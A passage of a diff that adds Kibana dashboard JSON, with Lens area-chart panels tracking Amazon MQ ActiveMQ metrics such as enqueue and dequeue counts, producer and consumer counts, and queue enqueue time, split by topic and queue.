+ "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35"
+ ],
+ "columns": {
+ "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "Dequeue count",
+ "operationType": "max",
+ "params": {
+ "emptyAsNull": true,
+ "format": {
+ "id": "number",
+ "params": {
+ "compact": true,
+ "decimals": 0
+ }
+ }
+ },
+ "scale": "ratio",
+ "sourceField": "aws.amazonmq.metrics.activemq.destination.DequeueCount.sum"
+ },
+ "addde7fc-8bbe-4168-8713-830dcbb84dcd": {
+ "dataType": "date",
+ "isBucketed": true,
+ "label": "@timestamp",
+ "operationType": "date_histogram",
+ "params": {
+ "dropPartials": false,
+ "includeEmptyRows": true,
+ "interval": "auto"
+ },
+ "scale": "interval",
+ "sourceField": "@timestamp"
+ },
+ "ba5d228a-69b4-4baf-8202-b3bbc0682126": {
+ "dataType": "string",
+ "isBucketed": true,
+ "label": "Top 10 values of aws.dimensions.Topic",
+ "operationType": "terms",
+ "params": {
+ "exclude": [
+ ".*Advisory.*"
+ ],
+ "excludeIsRegex": true,
+ "include": [
+ ""
+ ],
+ "includeIsRegex": true,
+ "missingBucket": false,
+ "orderBy": {
+ "columnId": "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35",
+ "type": "column"
+ },
+ "orderDirection": "desc",
+ "otherBucket": true,
+ "parentFormat": {
+ "id": "terms"
+ },
+ "secondaryFields": [],
+ "size": 10
+ },
+ "scale": "ordinal",
+ "sourceField": "aws.dimensions.Topic"
+ }
+ },
+ "ignoreGlobalFilters": false,
+ "incompleteColumns": {},
+ "indexPatternId": "metrics-*",
+ "sampling": 1
+ }
+ }
+ },
+ "indexpattern": {
+ "layers": {}
+ },
+ "textBased": {
+ "layers": {}
+ }
+ },
+ "filters": [],
+ "internalReferences": [],
+ "query": {
+ "language": "kuery",
+ "query": ""
+ },
+ "visualization": {
+ "layers": [
+ {
+ "accessors": [
+ "d4578b24-c384-4c74-bf14-a4900ebe1283"
+ ],
+ "colorMapping": {
+ "assignments": [],
+ "colorMode": {
+ "type": "categorical"
+ },
+ "paletteId": "eui_amsterdam_color_blind",
+ "specialAssignments": [
+ {
+ "color": {
+ "type": "loop"
+ },
+ "rule": {
+ "type": "other"
+ },
+ "touched": false
+ }
+ ]
+ },
+ "layerId": "c01a91f8-d296-42ca-853d-edf813bc208b",
+ "layerType": "data",
+ "position": "top",
+ "seriesType": "area",
+ "showGridlines": false,
+ "splitAccessor": "27a661ab-bc06-4a95-89fc-927ccb1f70b5",
+ "xAccessor": "5b2321f5-1641-4130-a8ae-19cd853a12d0"
+ },
+ {
+ "accessors": [
+ "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35"
+ ],
+ "colorMapping": {
+ "assignments": [],
+ "colorMode": {
+ "type": "categorical"
+ },
+ "paletteId": "elastic_brand_2023",
+ "specialAssignments": [
+ {
+ "color": {
+ "type": "loop"
+ },
+ "rule": {
+ "type": "other"
+ },
+ "touched": false
+ }
+ ]
+ },
+ "layerId": "e788bbcc-bd10-4a67-a1e4-b62775f429e4",
+ "layerType": "data",
+ "position": "top",
+ "seriesType": "area",
+ "showGridlines": false,
+ "splitAccessor": "ba5d228a-69b4-4baf-8202-b3bbc0682126",
+ "xAccessor": "addde7fc-8bbe-4168-8713-830dcbb84dcd",
+ "yConfig": [
+ {
+ "axisMode": "right",
+ "forAccessor": "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35"
+ }
+ ]
+ }
+ ],
+ "legend": {
+ "isVisible": true,
+ "position": "bottom"
+ },
+ "preferredSeriesType": "area",
+ "title": "Empty XY chart",
+ "valueLabels": "hide"
+ }
+ },
+ "title": "",
+ "type": "lens",
+ "visualizationType": "lnsXY"
+ },
+ "description": "Enqueue count is the number of messages sent to the topic. \tDequeue count is the number of messages acknowledged by consumers",
+ "enhancements": {}
+ },
+ "gridData": {
+ "h": 14,
+ "i": "c30fdfcd-03bd-4a98-b6c1-b0cea98ba072",
+ "w": 16,
+ "x": 16,
+ "y": 45
+ },
+ "panelIndex": "c30fdfcd-03bd-4a98-b6c1-b0cea98ba072",
+ "title": "Enqueue vs Dequeue count",
+ "type": "lens"
+ },
+ {
+ "embeddableConfig": {
+ "attributes": {
+ "references": [
+ {
+ "id": "metrics-*",
+ "name": "indexpattern-datasource-layer-c01a91f8-d296-42ca-853d-edf813bc208b",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "indexpattern-datasource-layer-e788bbcc-bd10-4a67-a1e4-b62775f429e4",
+ "type": "index-pattern"
+ }
+ ],
+ "state": {
+ "adHocDataViews": {},
+ "datasourceStates": {
+ "formBased": {
+ "currentIndexPatternId": "metrics-*",
+ "layers": {
+ "c01a91f8-d296-42ca-853d-edf813bc208b": {
+ "columnOrder": [
+ "27a661ab-bc06-4a95-89fc-927ccb1f70b5",
+ "5b2321f5-1641-4130-a8ae-19cd853a12d0",
+ "d4578b24-c384-4c74-bf14-a4900ebe1283"
+ ],
+ "columns": {
+ "27a661ab-bc06-4a95-89fc-927ccb1f70b5": {
+ "dataType": "string",
+ "isBucketed": true,
+ "label": "Top 10 values of aws.dimensions.Topic",
+ "operationType": "terms",
+ "params": {
+ "exclude": [
+ ".*Advisory.*"
+ ],
+ "excludeIsRegex": true,
+ "include": [
+ ""
+ ],
+ "includeIsRegex": true,
+ "missingBucket": false,
+ "orderBy": {
+ "columnId": "d4578b24-c384-4c74-bf14-a4900ebe1283",
+ "type": "column"
+ },
+ "orderDirection": "desc",
+ "otherBucket": true,
+ "parentFormat": {
+ "id": "terms"
+ },
+ "secondaryFields": [],
+ "size": 10
+ },
+ "scale": "ordinal",
+ "sourceField": "aws.dimensions.Topic"
+ },
+ "5b2321f5-1641-4130-a8ae-19cd853a12d0": {
+ "dataType": "date",
+ "isBucketed": true,
+ "label": "@timestamp",
+ "operationType": "date_histogram",
+ "params": {
+ "dropPartials": false,
+ "includeEmptyRows": true,
+ "interval": "auto"
+ },
+ "scale": "interval",
+ "sourceField": "@timestamp"
+ },
+ "d4578b24-c384-4c74-bf14-a4900ebe1283": {
+ "customLabel": true,
+ "dataType": "number",
+ "filter": {
+ "language": "kuery",
+ "query": "NOT aws.dimensions.Topic : \"*.Advisory.*\""
+ },
+ "isBucketed": false,
+ "label": "Consumer count",
+ "operationType": "max",
+ "params": {
+ "emptyAsNull": true,
+ "format": {
+ "id": "number",
+ "params": {
+ "compact": true,
+ "decimals": 0
+ }
+ }
+ },
+ "scale": "ratio",
+ "sourceField": "aws.amazonmq.metrics.activemq.destination.ConsumerCount.max"
+ }
+ },
+ "ignoreGlobalFilters": false,
+ "incompleteColumns": {},
+ "indexPatternId": "metrics-*",
+ "sampling": 1
+ },
+ "e788bbcc-bd10-4a67-a1e4-b62775f429e4": {
+ "columnOrder": [
+ "ba5d228a-69b4-4baf-8202-b3bbc0682126",
+ "addde7fc-8bbe-4168-8713-830dcbb84dcd",
+ "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35"
+ ],
+ "columns": {
+ "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "Producer count",
+ "operationType": "max",
+ "params": {
+ "emptyAsNull": true,
+ "format": {
+ "id": "number",
+ "params": {
+ "compact": true,
+ "decimals": 0
+ }
+ }
+ },
+ "scale": "ratio",
+ "sourceField": "aws.amazonmq.metrics.activemq.destination.ProducerCount.max"
+ },
+ "addde7fc-8bbe-4168-8713-830dcbb84dcd": {
+ "dataType": "date",
+ "isBucketed": true,
+ "label": "@timestamp",
+ "operationType": "date_histogram",
+ "params": {
+ "dropPartials": false,
+ "includeEmptyRows": true,
+ "interval": "auto"
+ },
+ "scale": "interval",
+ "sourceField": "@timestamp"
+ },
+ "ba5d228a-69b4-4baf-8202-b3bbc0682126": {
+ "dataType": "string",
+ "isBucketed": true,
+ "label": "Top 10 values of aws.dimensions.Topic",
+ "operationType": "terms",
+ "params": {
+ "exclude": [
+ ".*Advisory.*"
+ ],
+ "excludeIsRegex": true,
+ "include": [
+ ""
+ ],
+ "includeIsRegex": true,
+ "missingBucket": false,
+ "orderBy": {
+ "columnId": "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35",
+ "type": "column"
+ },
+ "orderDirection": "desc",
+ "otherBucket": true,
+ "parentFormat": {
+ "id": "terms"
+ },
+ "secondaryFields": [],
+ "size": 10
+ },
+ "scale": "ordinal",
+ "sourceField": "aws.dimensions.Topic"
+ }
+ },
+ "ignoreGlobalFilters": false,
+ "incompleteColumns": {},
+ "indexPatternId": "metrics-*",
+ "sampling": 1
+ }
+ }
+ },
+ "indexpattern": {
+ "layers": {}
+ },
+ "textBased": {
+ "layers": {}
+ }
+ },
+ "filters": [],
+ "internalReferences": [],
+ "query": {
+ "language": "kuery",
+ "query": ""
+ },
+ "visualization": {
+ "layers": [
+ {
+ "accessors": [
+ "d4578b24-c384-4c74-bf14-a4900ebe1283"
+ ],
+ "colorMapping": {
+ "assignments": [],
+ "colorMode": {
+ "type": "categorical"
+ },
+ "paletteId": "eui_amsterdam_color_blind",
+ "specialAssignments": [
+ {
+ "color": {
+ "type": "loop"
+ },
+ "rule": {
+ "type": "other"
+ },
+ "touched": false
+ }
+ ]
+ },
+ "layerId": "c01a91f8-d296-42ca-853d-edf813bc208b",
+ "layerType": "data",
+ "position": "top",
+ "seriesType": "area",
+ "showGridlines": false,
+ "splitAccessor": "27a661ab-bc06-4a95-89fc-927ccb1f70b5",
+ "xAccessor": "5b2321f5-1641-4130-a8ae-19cd853a12d0",
+ "yConfig": [
+ {
+ "axisMode": "right",
+ "forAccessor": "d4578b24-c384-4c74-bf14-a4900ebe1283"
+ }
+ ]
+ },
+ {
+ "accessors": [
+ "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35"
+ ],
+ "colorMapping": {
+ "assignments": [],
+ "colorMode": {
+ "type": "categorical"
+ },
+ "paletteId": "elastic_brand_2023",
+ "specialAssignments": [
+ {
+ "color": {
+ "type": "loop"
+ },
+ "rule": {
+ "type": "other"
+ },
+ "touched": false
+ }
+ ]
+ },
+ "layerId": "e788bbcc-bd10-4a67-a1e4-b62775f429e4",
+ "layerType": "data",
+ "position": "top",
+ "seriesType": "area",
+ "showGridlines": false,
+ "splitAccessor": "ba5d228a-69b4-4baf-8202-b3bbc0682126",
+ "xAccessor": "addde7fc-8bbe-4168-8713-830dcbb84dcd",
+ "yConfig": [
+ {
+ "axisMode": "left",
+ "forAccessor": "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35"
+ }
+ ]
+ }
+ ],
+ "legend": {
+ "isVisible": true,
+ "position": "bottom"
+ },
+ "preferredSeriesType": "area",
+ "title": "Empty XY chart",
+ "valueLabels": "hide"
+ }
+ },
+ "title": "",
+ "type": "lens",
+ "visualizationType": "lnsXY"
+ },
+ "description": "Producer count is the number of producers for the topic. Consumer count is the number of consumers subscribed to the topic.",
+ "enhancements": {}
+ },
+ "gridData": {
+ "h": 14,
+ "i": "a46e0c8a-f573-4beb-848d-178f39c1e98a",
+ "w": 16,
+ "x": 32,
+ "y": 45
+ },
+ "panelIndex": "a46e0c8a-f573-4beb-848d-178f39c1e98a",
+ "title": "Producer vs Consumer count",
+ "type": "lens"
+ },
+ {
+ "embeddableConfig": {
+ "attributes": {
+ "references": [
+ {
+ "id": "metrics-*",
+ "name": "indexpattern-datasource-layer-c01a91f8-d296-42ca-853d-edf813bc208b",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "indexpattern-datasource-layer-e788bbcc-bd10-4a67-a1e4-b62775f429e4",
+ "type": "index-pattern"
+ }
+ ],
+ "state": {
+ "adHocDataViews": {},
+ "datasourceStates": {
+ "formBased": {
+ "currentIndexPatternId": "metrics-*",
+ "layers": {
+ "c01a91f8-d296-42ca-853d-edf813bc208b": {
+ "columnOrder": [
+ "27a661ab-bc06-4a95-89fc-927ccb1f70b5",
+ "5b2321f5-1641-4130-a8ae-19cd853a12d0",
+ "d4578b24-c384-4c74-bf14-a4900ebe1283"
+ ],
+ "columns": {
+ "27a661ab-bc06-4a95-89fc-927ccb1f70b5": {
+ "dataType": "string",
+ "isBucketed": true,
+ "label": "Top 10 values of aws.dimensions.Queue",
+ "operationType": "terms",
+ "params": {
+ "exclude": [
+ ".*Advisory.*"
+ ],
+ "excludeIsRegex": true,
+ "include": [
+ ""
+ ],
+ "includeIsRegex": true,
+ "missingBucket": false,
+ "orderBy": {
+ "columnId": "d4578b24-c384-4c74-bf14-a4900ebe1283",
+ "type": "column"
+ },
+ "orderDirection": "desc",
+ "otherBucket": true,
+ "parentFormat": {
+ "id": "terms"
+ },
+ "secondaryFields": [],
+ "size": 10
+ },
+ "scale": "ordinal",
+ "sourceField": "aws.dimensions.Queue"
+ },
+ "5b2321f5-1641-4130-a8ae-19cd853a12d0": {
+ "dataType": "date",
+ "isBucketed": true,
+ "label": "@timestamp",
+ "operationType": "date_histogram",
+ "params": {
+ "dropPartials": false,
+ "includeEmptyRows": true,
+ "interval": "auto"
+ },
+ "scale": "interval",
+ "sourceField": "@timestamp"
+ },
+ "d4578b24-c384-4c74-bf14-a4900ebe1283": {
+ "customLabel": true,
+ "dataType": "number",
+ "filter": {
+ "language": "kuery",
+ "query": "NOT aws.dimensions.Topic : \"*.Advisory.*\""
+ },
+ "isBucketed": false,
+ "label": "Consumer count",
+ "operationType": "max",
+ "params": {
+ "emptyAsNull": true,
+ "format": {
+ "id": "number",
+ "params": {
+ "compact": true,
+ "decimals": 0
+ }
+ }
+ },
+ "scale": "ratio",
+ "sourceField": "aws.amazonmq.metrics.activemq.destination.ConsumerCount.max"
+ }
+ },
+ "ignoreGlobalFilters": false,
+ "incompleteColumns": {},
+ "indexPatternId": "metrics-*",
+ "sampling": 1
+ },
+ "e788bbcc-bd10-4a67-a1e4-b62775f429e4": {
+ "columnOrder": [
+ "ba5d228a-69b4-4baf-8202-b3bbc0682126",
+ "addde7fc-8bbe-4168-8713-830dcbb84dcd",
+ "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35"
+ ],
+ "columns": {
+ "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "Producer count",
+ "operationType": "max",
+ "params": {
+ "emptyAsNull": true,
+ "format": {
+ "id": "number",
+ "params": {
+ "compact": true,
+ "decimals": 0
+ }
+ }
+ },
+ "scale": "ratio",
+ "sourceField": "aws.amazonmq.metrics.activemq.destination.ProducerCount.max"
+ },
+ "addde7fc-8bbe-4168-8713-830dcbb84dcd": {
+ "dataType": "date",
+ "isBucketed": true,
+ "label": "@timestamp",
+ "operationType": "date_histogram",
+ "params": {
+ "dropPartials": false,
+ "includeEmptyRows": true,
+ "interval": "auto"
+ },
+ "scale": "interval",
+ "sourceField": "@timestamp"
+ },
+ "ba5d228a-69b4-4baf-8202-b3bbc0682126": {
+ "dataType": "string",
+ "isBucketed": true,
+ "label": "Top 10 values of aws.dimensions.Queue",
+ "operationType": "terms",
+ "params": {
+ "exclude": [
+ ".*Advisory.*"
+ ],
+ "excludeIsRegex": true,
+ "include": [
+ ""
+ ],
+ "includeIsRegex": true,
+ "missingBucket": false,
+ "orderBy": {
+ "columnId": "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35",
+ "type": "column"
+ },
+ "orderDirection": "desc",
+ "otherBucket": true,
+ "parentFormat": {
+ "id": "terms"
+ },
+ "secondaryFields": [],
+ "size": 10
+ },
+ "scale": "ordinal",
+ "sourceField": "aws.dimensions.Queue"
+ }
+ },
+ "ignoreGlobalFilters": false,
+ "incompleteColumns": {},
+ "indexPatternId": "metrics-*",
+ "sampling": 1
+ }
+ }
+ },
+ "indexpattern": {
+ "layers": {}
+ },
+ "textBased": {
+ "layers": {}
+ }
+ },
+ "filters": [],
+ "internalReferences": [],
+ "query": {
+ "language": "kuery",
+ "query": ""
+ },
+ "visualization": {
+ "layers": [
+ {
+ "accessors": [
+ "d4578b24-c384-4c74-bf14-a4900ebe1283"
+ ],
+ "colorMapping": {
+ "assignments": [],
+ "colorMode": {
+ "type": "categorical"
+ },
+ "paletteId": "eui_amsterdam_color_blind",
+ "specialAssignments": [
+ {
+ "color": {
+ "type": "loop"
+ },
+ "rule": {
+ "type": "other"
+ },
+ "touched": false
+ }
+ ]
+ },
+ "layerId": "c01a91f8-d296-42ca-853d-edf813bc208b",
+ "layerType": "data",
+ "position": "top",
+ "seriesType": "area",
+ "showGridlines": false,
+ "splitAccessor": "27a661ab-bc06-4a95-89fc-927ccb1f70b5",
+ "xAccessor": "5b2321f5-1641-4130-a8ae-19cd853a12d0",
+ "yConfig": [
+ {
+ "axisMode": "right",
+ "forAccessor": "d4578b24-c384-4c74-bf14-a4900ebe1283"
+ }
+ ]
+ },
+ {
+ "accessors": [
+ "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35"
+ ],
+ "colorMapping": {
+ "assignments": [],
+ "colorMode": {
+ "type": "categorical"
+ },
+ "paletteId": "elastic_brand_2023",
+ "specialAssignments": [
+ {
+ "color": {
+ "type": "loop"
+ },
+ "rule": {
+ "type": "other"
+ },
+ "touched": false
+ }
+ ]
+ },
+ "layerId": "e788bbcc-bd10-4a67-a1e4-b62775f429e4",
+ "layerType": "data",
+ "position": "top",
+ "seriesType": "area",
+ "showGridlines": false,
+ "splitAccessor": "ba5d228a-69b4-4baf-8202-b3bbc0682126",
+ "xAccessor": "addde7fc-8bbe-4168-8713-830dcbb84dcd",
+ "yConfig": [
+ {
+ "axisMode": "left",
+ "forAccessor": "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35"
+ }
+ ]
+ }
+ ],
+ "legend": {
+ "isVisible": true,
+ "position": "bottom"
+ },
+ "preferredSeriesType": "area",
+ "title": "Empty XY chart",
+ "valueLabels": "hide"
+ }
+ },
+ "title": "",
+ "type": "lens",
+ "visualizationType": "lnsXY"
+ },
+ "description": "Producer count is the number of producers for the queue. Consumer count is the number of consumers subscribed to the queue.",
+ "enhancements": {}
+ },
+ "gridData": {
+ "h": 14,
+ "i": "8e1331e0-41ee-48d8-9ea3-b70efec60e0e",
+ "w": 16,
+ "x": 32,
+ "y": 62
+ },
+ "panelIndex": "8e1331e0-41ee-48d8-9ea3-b70efec60e0e",
+ "title": "Producer vs Consumer count",
+ "type": "lens"
+ },
+ {
+ "embeddableConfig": {
+ "enhancements": {
+ "dynamicActions": {
+ "events": []
+ }
+ },
+ "hidePanelTitles": true,
+ "savedVis": {
+ "data": {
+ "aggs": [],
+ "searchSource": {
+ "filter": [],
+ "query": {
+ "language": "kuery",
+ "query": ""
+ }
+ }
+ },
+ "description": "",
+ "id": "",
+ "params": {
+ "fontSize": 12,
+ "markdown": "#### Queue Metrics",
+ "openLinksInNewTab": false
+ },
+ "title": "",
+ "type": "markdown",
+ "uiState": {}
+ }
+ },
+ "gridData": {
+ "h": 3,
+ "i": "186b6c8e-fc87-4825-b38b-1a5bdc6da490",
+ "w": 48,
+ "x": 0,
+ "y": 59
+ },
+ "panelIndex": "186b6c8e-fc87-4825-b38b-1a5bdc6da490",
+ "title": "",
+ "type": "visualization"
+ },
+ {
+ "embeddableConfig": {
+ "attributes": {
+ "references": [
+ {
+ "id": "metrics-*",
+ "name": "indexpattern-datasource-layer-c01a91f8-d296-42ca-853d-edf813bc208b",
+ "type": "index-pattern"
+ }
+ ],
+ "state": {
+ "adHocDataViews": {},
+ "datasourceStates": {
+ "formBased": {
+ "currentIndexPatternId": "metrics-*",
+ "layers": {
+ "c01a91f8-d296-42ca-853d-edf813bc208b": {
+ "columnOrder": [
+ "27a661ab-bc06-4a95-89fc-927ccb1f70b5",
+ "5b2321f5-1641-4130-a8ae-19cd853a12d0",
+ "d4578b24-c384-4c74-bf14-a4900ebe1283"
+ ],
+ "columns": {
+ "27a661ab-bc06-4a95-89fc-927ccb1f70b5": {
+ "dataType": "string",
+ "isBucketed": true,
+ "label": "Top 10 values of aws.dimensions.Queue",
+ "operationType": "terms",
+ "params": {
+ "exclude": [
+ ".*Advisory.*"
+ ],
+ "excludeIsRegex": true,
+ "include": [
+ ""
+ ],
+ "includeIsRegex": true,
+ "missingBucket": false,
+ "orderBy": {
+ "columnId": "d4578b24-c384-4c74-bf14-a4900ebe1283",
+ "type": "column"
+ },
+ "orderDirection": "desc",
+ "otherBucket": true,
+ "parentFormat": {
+ "id": "terms"
+ },
+ "secondaryFields": [],
+ "size": 10
+ },
+ "scale": "ordinal",
+ "sourceField": "aws.dimensions.Queue"
+ },
+ "5b2321f5-1641-4130-a8ae-19cd853a12d0": {
+ "dataType": "date",
+ "isBucketed": true,
+ "label": "@timestamp",
+ "operationType": "date_histogram",
+ "params": {
+ "dropPartials": false,
+ "includeEmptyRows": true,
+ "interval": "auto"
+ },
+ "scale": "interval",
+ "sourceField": "@timestamp"
+ },
+ "d4578b24-c384-4c74-bf14-a4900ebe1283": {
+ "customLabel": true,
+ "dataType": "number",
+ "filter": {
+ "language": "kuery",
+ "query": "NOT aws.dimensions.Topic : \"*.Advisory.*\""
+ },
+ "isBucketed": false,
+ "label": "Enqueue time",
+ "operationType": "average",
+ "params": {
+ "emptyAsNull": true,
+ "format": {
+ "id": "duration",
+ "params": {
+ "compact": true,
+ "decimals": 0,
+ "fromUnit": "milliseconds",
+ "toUnit": "humanizePrecise"
+ }
+ }
+ },
+ "scale": "ratio",
+ "sourceField": "aws.amazonmq.metrics.activemq.destination.EnqueueTime.avg"
+ }
+ },
+ "ignoreGlobalFilters": false,
+ "incompleteColumns": {},
+ "indexPatternId": "metrics-*",
+ "sampling": 1
+ }
+ }
+ },
+ "indexpattern": {
+ "layers": {}
+ },
+ "textBased": {
+ "layers": {}
+ }
+ },
+ "filters": [],
+ "internalReferences": [],
+ "query": {
+ "language": "kuery",
+ "query": ""
+ },
+ "visualization": {
+ "layers": [
+ {
+ "accessors": [
+ "d4578b24-c384-4c74-bf14-a4900ebe1283"
+ ],
+ "colorMapping": {
+ "assignments": [],
+ "colorMode": {
+ "type": "categorical"
+ },
+ "paletteId": "eui_amsterdam_color_blind",
+ "specialAssignments": [
+ {
+ "color": {
+ "type": "loop"
+ },
+ "rule": {
+ "type": "other"
+ },
+ "touched": false
+ }
+ ]
+ },
+ "layerId": "c01a91f8-d296-42ca-853d-edf813bc208b",
+ "layerType": "data",
+ "position": "top",
+ "seriesType": "area_stacked",
+ "showGridlines": false,
+ "splitAccessor": "27a661ab-bc06-4a95-89fc-927ccb1f70b5",
+ "xAccessor": "5b2321f5-1641-4130-a8ae-19cd853a12d0"
+ }
+ ],
+ "legend": {
+ "isVisible": true,
+ "position": "bottom"
+ },
+ "preferredSeriesType": "area_stacked",
+ "title": "Empty XY chart",
+ "valueLabels": "hide"
+ }
+ },
+ "title": "",
+ "type": "lens",
+ "visualizationType": "lnsXY"
+ },
+ "enhancements": {}
+ },
+ "gridData": {
+ "h": 14,
+ "i": "4111cfe2-7eac-4b78-99bc-08400b3c9b81",
+ "w": 16,
+ "x": 0,
+ "y": 62
+ },
+ "panelIndex": "4111cfe2-7eac-4b78-99bc-08400b3c9b81",
+ "title": "Queue enqueue time",
+ "type": "lens"
+ },
+ {
+ "embeddableConfig": {
+ "attributes": {
+ "references": [
+ {
+ "id": "metrics-*",
+ "name": "indexpattern-datasource-layer-c01a91f8-d296-42ca-853d-edf813bc208b",
+ "type": "index-pattern"
+ },
+ {
+ "id": "metrics-*",
+ "name": "indexpattern-datasource-layer-e788bbcc-bd10-4a67-a1e4-b62775f429e4",
+ "type": "index-pattern"
+ }
+ ],
+ "state": {
+ "adHocDataViews": {},
+ "datasourceStates": {
+ "formBased": {
+ "currentIndexPatternId": "metrics-*",
+ "layers": {
+ "c01a91f8-d296-42ca-853d-edf813bc208b": {
+ "columnOrder": [
+ "27a661ab-bc06-4a95-89fc-927ccb1f70b5",
+ "5b2321f5-1641-4130-a8ae-19cd853a12d0",
+ "d4578b24-c384-4c74-bf14-a4900ebe1283"
+ ],
+ "columns": {
+ "27a661ab-bc06-4a95-89fc-927ccb1f70b5": {
+ "dataType": "string",
+ "isBucketed": true,
+ "label": "Top 10 values of aws.dimensions.Queue",
+ "operationType": "terms",
+ "params": {
+ "exclude": [
+ ".*Advisory.*"
+ ],
+ "excludeIsRegex": true,
+ "include": [
+ ""
+ ],
+ "includeIsRegex": true,
+ "missingBucket": false,
+ "orderBy": {
+ "columnId": "d4578b24-c384-4c74-bf14-a4900ebe1283",
+ "type": "column"
+ },
+ "orderDirection": "desc",
+ "otherBucket": true,
+ "parentFormat": {
+ "id": "terms"
+ },
+ "secondaryFields": [],
+ "size": 10
+ },
+ "scale": "ordinal",
+ "sourceField": "aws.dimensions.Queue"
+ },
+ "5b2321f5-1641-4130-a8ae-19cd853a12d0": {
+ "dataType": "date",
+ "isBucketed": true,
+ "label": "@timestamp",
+ "operationType": "date_histogram",
+ "params": {
+ "dropPartials": false,
+ "includeEmptyRows": true,
+ "interval": "auto"
+ },
+ "scale": "interval",
+ "sourceField": "@timestamp"
+ },
+ "d4578b24-c384-4c74-bf14-a4900ebe1283": {
+ "customLabel": true,
+ "dataType": "number",
+ "filter": {
+ "language": "kuery",
+ "query": "NOT aws.dimensions.Topic : \"*.Advisory.*\""
+ },
+ "isBucketed": false,
+ "label": "Enqueue count",
+ "operationType": "max",
+ "params": {
+ "emptyAsNull": true,
+ "format": {
+ "id": "number",
+ "params": {
+ "compact": true,
+ "decimals": 0
+ }
+ }
+ },
+ "scale": "ratio",
+ "sourceField": "aws.amazonmq.metrics.activemq.destination.EnqueueCount.sum"
+ }
+ },
+ "ignoreGlobalFilters": false,
+ "incompleteColumns": {},
+ "indexPatternId": "metrics-*",
+ "sampling": 1
+ },
+ "e788bbcc-bd10-4a67-a1e4-b62775f429e4": {
+ "columnOrder": [
+ "ba5d228a-69b4-4baf-8202-b3bbc0682126",
+ "addde7fc-8bbe-4168-8713-830dcbb84dcd",
+ "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35"
+ ],
+ "columns": {
+ "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35": {
+ "customLabel": true,
+ "dataType": "number",
+ "isBucketed": false,
+ "label": "Dequeue count",
+ "operationType": "max",
+ "params": {
+ "emptyAsNull": true,
+ "format": {
+ "id": "number",
+ "params": {
+ "compact": true,
+ "decimals": 0
+ }
+ }
+ },
+ "scale": "ratio",
+ "sourceField": "aws.amazonmq.metrics.activemq.destination.DequeueCount.sum"
+ },
+ "addde7fc-8bbe-4168-8713-830dcbb84dcd": {
+ "dataType": "date",
+ "isBucketed": true,
+ "label": "@timestamp",
+ "operationType": "date_histogram",
+ "params": {
+ "dropPartials": false,
+ "includeEmptyRows": true,
+ "interval": "auto"
+ },
+ "scale": "interval",
+ "sourceField": "@timestamp"
+ },
+ "ba5d228a-69b4-4baf-8202-b3bbc0682126": {
+ "dataType": "string",
+ "isBucketed": true,
+ "label": "Top 10 values of aws.dimensions.Queue",
+ "operationType": "terms",
+ "params": {
+ "exclude": [
+ ".*Advisory.*"
+ ],
+ "excludeIsRegex": true,
+ "include": [
+ ""
+ ],
+ "includeIsRegex": true,
+ "missingBucket": false,
+ "orderBy": {
+ "columnId": "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35",
+ "type": "column"
+ },
+ "orderDirection": "desc",
+ "otherBucket": true,
+ "parentFormat": {
+ "id": "terms"
+ },
+ "secondaryFields": [],
+ "size": 10
+ },
+ "scale": "ordinal",
+ "sourceField": "aws.dimensions.Queue"
+ }
+ },
+ "ignoreGlobalFilters": false,
+ "incompleteColumns": {},
+ "indexPatternId": "metrics-*",
+ "sampling": 1
+ }
+ }
+ },
+ "indexpattern": {
+ "layers": {}
+ },
+ "textBased": {
+ "layers": {}
+ }
+ },
+ "filters": [],
+ "internalReferences": [],
+ "query": {
+ "language": "kuery",
+ "query": ""
+ },
+ "visualization": {
+ "layers": [
+ {
+ "accessors": [
+ "d4578b24-c384-4c74-bf14-a4900ebe1283"
+ ],
+ "colorMapping": {
+ "assignments": [],
+ "colorMode": {
+ "type": "categorical"
+ },
+ "paletteId": "eui_amsterdam_color_blind",
+ "specialAssignments": [
+ {
+ "color": {
+ "type": "loop"
+ },
+ "rule": {
+ "type": "other"
+ },
+ "touched": false
+ }
+ ]
+ },
+ "layerId": "c01a91f8-d296-42ca-853d-edf813bc208b",
+ "layerType": "data",
+ "position": "top",
+ "seriesType": "area",
+ "showGridlines": false,
+ "splitAccessor": "27a661ab-bc06-4a95-89fc-927ccb1f70b5",
+ "xAccessor": "5b2321f5-1641-4130-a8ae-19cd853a12d0"
+ },
+ {
+ "accessors": [
+ "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35"
+ ],
+ "colorMapping": {
+ "assignments": [],
+ "colorMode": {
+ "type": "categorical"
+ },
+ "paletteId": "elastic_brand_2023",
+ "specialAssignments": [
+ {
+ "color": {
+ "type": "loop"
+ },
+ "rule": {
+ "type": "other"
+ },
+ "touched": false
+ }
+ ]
+ },
+ "layerId": "e788bbcc-bd10-4a67-a1e4-b62775f429e4",
+ "layerType": "data",
+ "position": "top",
+ "seriesType": "area",
+ "showGridlines": false,
+ "splitAccessor": "ba5d228a-69b4-4baf-8202-b3bbc0682126",
+ "xAccessor": "addde7fc-8bbe-4168-8713-830dcbb84dcd",
+ "yConfig": [
+ {
+ "axisMode": "right",
+ "forAccessor": "2d1db79d-6ef8-48be-9aaf-b04e8e15bf35"
+ }
+ ]
+ }
+ ],
+ "legend": {
+ "isVisible": true,
+ "position": "bottom"
+ },
+ "preferredSeriesType": "area",
+ "title": "Empty XY chart",
